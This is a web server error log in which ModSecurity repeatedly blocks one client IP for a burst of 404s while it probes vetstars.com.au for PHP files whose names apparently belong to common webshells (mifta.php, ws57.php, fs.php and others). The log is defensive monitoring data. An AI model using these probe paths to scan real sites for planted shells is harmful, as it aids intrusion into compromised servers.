[Sun Apr 19 23:12:52.016923 2026] [:error] [pid 15760:tid 15771] [client 20.203.147.105:20803] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "aeTw9PSdD_XHQMJ_IStptwAAAcM"]
[Sun Apr 19 23:12:52.530159 2026] [:error] [pid 15760:tid 15769] [client 20.203.147.105:20957] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "aeTw9PSdD_XHQMJ_IStpugAAAcE"]
[Sun Apr 19 23:12:53.009213 2026] [:error] [pid 15760:tid 15788] [client 20.203.147.105:20886] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mifta.php"] [unique_id "aeTw9fSdD_XHQMJ_IStpuwAAAdQ"]
[Sun Apr 19 23:12:53.486562 2026] [:error] [pid 15760:tid 15779] [client 20.203.147.105:20963] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mifta.php"] [unique_id "aeTw9fSdD_XHQMJ_IStpvgAAAcs"]
[Sun Apr 19 23:12:54.001721 2026] [:error] [pid 15764:tid 15851] [client 20.203.147.105:20904] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mifta.php"] [unique_id "aeTw9mLL_sqdSHoVp-RB0AAAAlg"]
[Sun Apr 19 23:12:54.508082 2026] [:error] [pid 15764:tid 15835] [client 20.203.147.105:20941] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mifta.php"] [unique_id "aeTw9mLL_sqdSHoVp-RB1QAAAkk"]
[Sun Apr 19 23:12:54.981337 2026] [:error] [pid 15760:tid 15768] [client 20.203.147.105:20866] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws57.php"] [unique_id "aeTw9vSdD_XHQMJ_IStpxAAAAcA"]
[Sun Apr 19 23:12:55.494292 2026] [:error] [pid 15760:tid 15790] [client 20.203.147.105:21104] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws57.php"] [unique_id "aeTw9_SdD_XHQMJ_IStpxwAAAdY"]
[Sun Apr 19 23:12:55.967286 2026] [:error] [pid 15760:tid 15784] [client 20.203.147.105:20970] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws57.php"] [unique_id "aeTw9_SdD_XHQMJ_IStpygAAAdA"]
[Sun Apr 19 23:12:56.459744 2026] [:error] [pid 15760:tid 15771] [client 20.203.147.105:21013] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws57.php"] [unique_id "aeTw-PSdD_XHQMJ_IStpzQAAAcM"]
[Sun Apr 19 23:12:56.932961 2026] [:error] [pid 15760:tid 15786] [client 20.203.147.105:20891] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws86.php"] [unique_id "aeTw-PSdD_XHQMJ_IStpzgAAAdI"]
[Sun Apr 19 23:12:57.450582 2026] [:error] [pid 15760:tid 15782] [client 20.203.147.105:20933] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws86.php"] [unique_id "aeTw-fSdD_XHQMJ_IStp0AAAAc4"]
[Sun Apr 19 23:12:57.956749 2026] [:error] [pid 15760:tid 15781] [client 20.203.147.105:20870] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws86.php"] [unique_id "aeTw-fSdD_XHQMJ_IStp1AAAAc0"]
[Sun Apr 19 23:12:58.493087 2026] [:error] [pid 15764:tid 15844] [client 20.203.147.105:20985] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws86.php"] [unique_id "aeTw-mLL_sqdSHoVp-RB3gAAAlI"]
[Sun Apr 19 23:12:58.994953 2026] [:error] [pid 47775:tid 47861] [client 20.203.147.105:20800] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aeTw-rmztjlk9tsmoewrigAAAJI"]
[Sun Apr 19 23:12:59.502519 2026] [:error] [pid 15760:tid 15782] [client 20.203.147.105:20894] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aeTw-_SdD_XHQMJ_IStp3QAAAc4"]
[Sun Apr 19 23:13:00.006869 2026] [:error] [pid 15693:tid 15697] [client 20.203.147.105:21012] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aeTw_MNMD-ccazQlTsll7AAAAUE"]
[Sun Apr 19 23:13:00.530189 2026] [:error] [pid 15765:tid 15873] [client 20.203.147.105:20890] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aeTw_PRqinw-W5EwQ74K8wAAApQ"]
[Sun Apr 19 23:13:01.002097 2026] [:error] [pid 15765:tid 15876] [client 20.203.147.105:20980] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/packsin1.php"] [unique_id "aeTw_fRqinw-W5EwQ74K9QAAApc"]
[Sun Apr 19 23:13:01.484070 2026] [:error] [pid 15765:tid 15856] [client 20.203.147.105:20876] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/packsin1.php"] [unique_id "aeTw_fRqinw-W5EwQ74K9gAAAoM"]
[Sun Apr 19 23:13:01.975108 2026] [:error] [pid 15764:tid 15845] [client 20.203.147.105:20897] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/packsin1.php"] [unique_id "aeTw_WLL_sqdSHoVp-RB4AAAAlM"]
[Sun Apr 19 23:13:02.501189 2026] [:error] [pid 15760:tid 15779] [client 20.203.147.105:20905] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/packsin1.php"] [unique_id "aeTw_vSdD_XHQMJ_IStp5gAAAcs"]
[Sun Apr 19 23:13:03.019109 2026] [:error] [pid 15765:tid 15859] [client 20.203.147.105:20974] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xs.php"] [unique_id "aeTw__Rqinw-W5EwQ74K-AAAAoY"]
[Sun Apr 19 23:13:03.560817 2026] [:error] [pid 15760:tid 15771] [client 20.203.147.105:20965] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xs.php"] [unique_id "aeTw__SdD_XHQMJ_IStp6wAAAcM"]
[Sun Apr 19 23:13:04.114709 2026] [:error] [pid 47772:tid 47789] [client 20.203.147.105:20916] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xs.php"] [unique_id "aeTxAIc0L16cb4smAz_f-gAAAAA"]
[Sun Apr 19 23:13:04.606769 2026] [:error] [pid 47772:tid 47801] [client 20.203.147.105:21092] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xs.php"] [unique_id "aeTxAIc0L16cb4smAz_f_QAAAAw"]
[Sun Apr 19 23:13:05.125011 2026] [:error] [pid 15765:tid 15871] [client 20.203.147.105:20855] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/img.php"] [unique_id "aeTxAfRqinw-W5EwQ74K_gAAApI"]
[Sun Apr 19 23:13:05.671649 2026] [:error] [pid 15763:tid 15817] [client 20.203.147.105:20975] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/img.php"] [unique_id "aeTxAbMXv1Y1THOoxaAYHAAAAhU"]
[Sun Apr 19 23:13:06.198232 2026] [:error] [pid 15760:tid 15786] [client 20.203.147.105:20913] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/img.php"] [unique_id "aeTxAvSdD_XHQMJ_IStp8AAAAdI"]
[Sun Apr 19 23:13:06.701356 2026] [:error] [pid 15760:tid 15787] [client 20.203.147.105:20976] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/img.php"] [unique_id "aeTxAvSdD_XHQMJ_IStp8QAAAdM"]
[Sun Apr 19 23:13:07.248608 2026] [:error] [pid 15764:tid 15846] [client 20.203.147.105:20881] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aeTxA2LL_sqdSHoVp-RB4gAAAlQ"]
[Sun Apr 19 23:13:07.766959 2026] [:error] [pid 15763:tid 15800] [client 20.203.147.105:20921] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aeTxA7MXv1Y1THOoxaAYIAAAAgQ"]
[Sun Apr 19 23:13:08.283826 2026] [:error] [pid 15765:tid 15873] [client 20.203.147.105:20865] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aeTxBPRqinw-W5EwQ74LAgAAApQ"]
[Sun Apr 19 23:13:08.823438 2026] [:error] [pid 47772:tid 47798] [client 20.203.147.105:20896] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aeTxBIc0L16cb4smAz_gAwAAAAk"]
[Sun Apr 19 23:13:09.386503 2026] [:error] [pid 15764:tid 15833] [client 20.203.147.105:20921] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/maxro.php"] [unique_id "aeTxBWLL_sqdSHoVp-RB5QAAAkc"]
[Sun Apr 19 23:13:09.856906 2026] [:error] [pid 15760:tid 15788] [client 20.203.147.105:20805] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/maxro.php"] [unique_id "aeTxBfSdD_XHQMJ_IStp9QAAAdQ"]
[Sun Apr 19 23:13:54.336492 2026] [:error] [pid 47886:tid 47893] [client 20.203.147.105:20814] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aevly.php"] [unique_id "aeTxMkSe8yiyuPrD7yOISQAAAMU"]
[Sun Apr 19 23:13:55.242289 2026] [:error] [pid 15764:tid 15831] [client 20.203.147.105:20813] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aevly.php"] [unique_id "aeTxM2LL_sqdSHoVp-RCEQAAAkU"]
[Sun Apr 19 23:13:56.088310 2026] [:error] [pid 15760:tid 15783] [client 20.203.147.105:20972] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aevly.php"] [unique_id "aeTxNPSdD_XHQMJ_IStqVAAAAc8"]
[Sun Apr 19 23:13:56.842380 2026] [:error] [pid 15765:tid 15859] [client 20.203.147.105:20830] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aevly.php"] [unique_id "aeTxNPRqinw-W5EwQ74LLQAAAoY"]
[Sun Apr 19 23:13:57.740824 2026] [:error] [pid 15763:tid 15808] [client 20.203.147.105:21035] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws68.php"] [unique_id "aeTxNbMXv1Y1THOoxaAYdAAAAgw"]
[Sun Apr 19 23:13:58.693223 2026] [:error] [pid 15763:tid 15802] [client 20.203.147.105:20835] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws68.php"] [unique_id "aeTxNrMXv1Y1THOoxaAYfgAAAgY"]
[Sun Apr 19 23:13:59.532933 2026] [:error] [pid 15764:tid 15847] [client 20.203.147.105:20903] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws68.php"] [unique_id "aeTxN2LL_sqdSHoVp-RCGAAAAlU"]
[Sun Apr 19 23:14:00.153083 2026] [:error] [pid 15765:tid 15868] [client 20.203.147.105:20837] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws68.php"] [unique_id "aeTxOPRqinw-W5EwQ74LLgAAAo8"]
[Sun Apr 19 23:14:00.910721 2026] [:error] [pid 15763:tid 15817] [client 20.203.147.105:20923] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp.php"] [unique_id "aeTxOLMXv1Y1THOoxaAYgwAAAhU"]
[Sun Apr 19 23:14:01.935502 2026] [:error] [pid 15764:tid 15831] [client 20.203.147.105:20829] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp.php"] [unique_id "aeTxOWLL_sqdSHoVp-RCHQAAAkU"]
[Sun Apr 19 23:14:02.466747 2026] [:error] [pid 47773:tid 47821] [client 20.203.147.105:20919] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp.php"] [unique_id "aeTxOuiBHdnCJDuPq9Ba0QAAAEU"]
[Sun Apr 19 23:14:03.486955 2026] [:error] [pid 15764:tid 15827] [client 20.203.147.105:20804] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp.php"] [unique_id "aeTxO2LL_sqdSHoVp-RCIgAAAkE"]
[Sun Apr 19 23:14:03.975850 2026] [:error] [pid 47772:tid 47795] [client 20.203.147.105:20864] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "aeTxO4c0L16cb4smAz_gagAAAAY"]
[Sun Apr 19 23:14:04.783088 2026] [:error] [pid 47886:tid 47901] [client 20.203.147.105:20879] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "aeTxPESe8yiyuPrD7yOITwAAAM0"]
[Sun Apr 19 23:14:05.553275 2026] [:error] [pid 47772:tid 47810] [client 20.203.147.105:20834] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "aeTxPYc0L16cb4smAz_gbAAAABU"]
[Sun Apr 19 23:14:07.055848 2026] [:error] [pid 15764:tid 15835] [client 20.203.147.105:20838] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "aeTxP2LL_sqdSHoVp-RCJQAAAkk"]
[Sun Apr 19 23:14:07.757508 2026] [:error] [pid 15694:tid 15747] [client 20.203.147.105:20853] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/son1.php"] [unique_id "aeTxP7imB-jol1fwqAobSQAAAZU"]
[Sun Apr 19 23:14:08.311104 2026] [:error] [pid 47772:tid 47796] [client 20.203.147.105:20817] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/son1.php"] [unique_id "aeTxQIc0L16cb4smAz_gcwAAAAc"]
[Sun Apr 19 23:14:09.006595 2026] [:error] [pid 15764:tid 15834] [client 20.203.147.105:20927] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/son1.php"] [unique_id "aeTxQWLL_sqdSHoVp-RCLAAAAkg"]
[Sun Apr 19 23:14:09.568790 2026] [:error] [pid 47773:tid 47830] [client 20.203.147.105:20912] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/son1.php"] [unique_id "aeTxQeiBHdnCJDuPq9Ba2QAAAE4"]
